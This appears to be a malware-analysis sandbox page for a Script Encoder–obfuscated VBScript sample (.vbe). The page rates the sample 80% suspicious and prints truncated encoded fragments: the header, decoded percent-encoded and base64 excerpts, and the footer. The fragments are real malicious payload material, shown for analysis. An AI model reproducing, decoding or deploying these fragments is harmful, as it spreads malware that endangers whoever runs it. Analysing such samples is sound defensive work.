Suspicious 80% Download

cc3710ba412f8b022ca1ad86a91cdd6a4ade790dbbb6172c6af4c2a5aca6d6ba.vbe

Encoded VBScript malware

Microsoft Script Encoder protected scriptVBScript has long average lines
SHA-256cc3710ba412f8b022ca1ad86a91cdd6a4ade790dbbb6172c6af4c2a5aca6d6ba
MaleculeO(As₃)Md

Evidence

Microsoft Script Encoder protected script line 1
1#@~^jxATAA==@#@&@#@&}wDkW PAaw^k^kD@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&UE(P(r!jz`b@#@&~P,P9rsPAP/qSSP&FGIeBP;bpxMB~2z2\ZBPtBh1AB~HjIjx@#@&P,P,@#@&P~~,H#I`BP{PE*G*b1TZ!T&ZTZ!TZ!W!!Z!ZTswso!Z!T$R!!ZT!Z!!ZTT!Z!W!T!TTZ!T!ZT!Z!TTZ!!TTZ!T!ZTZ!TZ!Z!!Z!ZT!Z!T!Z!TTZ!!ZT!Z!!ZTT!Z!Z!T!TTZ!T%Zq!Z!TTAFs$)Z2T!~*Z,/G 8A%ZFW/ZG q*Wv0OG&yTGZG +oGF +Ff+T+&F+3vAvo{W !++*+!F+F*A Zv,+2yTcWco*2 TGvs+*vl 2Z9TfZbycT!TTZ!T!ZT!Z!To; ,${zc$%W0G,oFARc%G,w{ARc0fOs{T;fcy0sFbAW09,wGZZ9c+)wGq&W0fOs{T;fc+$wG)vW0G,oFA8&!lfw{AOc0fOs{++2%83sFAbW09,wGAb+!9/wv0vW0fOs{3z !99wv1,W0G,oF2z !Gbwbyc0fOs{$8&!W)sFbFW09,wG~%*%90wGo,W1fOs{q2 F9 …
Percent-encoded content decoded line 1
1:34191… cq/A%TsGTswsozss)Zc0fW/yc+W%~&!RfW* W***Z20/;2Zwosw%&A/q%RA;Z%3TW2*GZT2RF)98ssooR&3Z80Rf*W WGZRA;/*Z20!~fqowssR9c; cWT3%8&+&TFTTR&/c2T%223fz!s0*z T!ZTZ!022A!FF*F1&2so%Gc/+WF!l{2R%Z;3oswsRA/%30~!/swosw*TowF*f0yA*GZTl,0lZZGclb+0*ZvXc+!T0 …
Encoded content decoded: base64 line 1
1:777701… fZTl&TZ*+!!Z!ZTvl!TG2!T+G!!W0!Zc2ZTT!Z!+*T!{fZ!+fZTcA!T*O!!TTZ!*ZTF&TZ G!!l!ZT*y!T!Z!T{z!!+0!Z fZT*&Z!W%T!X*Z!T!ZT!Z!T{2!!{+Z!T!ZTZ!TZsR!!WvZTcy!T!Z!T*R!!W!Z ZZTT!Z!Z%q!*Z!{FZT!Z!T3Rs2*XZ!T!ZTZ!TZFWF!WvZTfR!T!Z! …
Microsoft Script Encoder footer line 1
1:1249362… &P~,Pg+6D@#@&~P,P@#@&,P~~jA5&}P{P`&UjYM`qbHnoS,\8ZMJ0*P@*~Z#@#@&3 N~s!U1YrKx@#@&@#@&@#@&dhAgBA==^#~@�

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.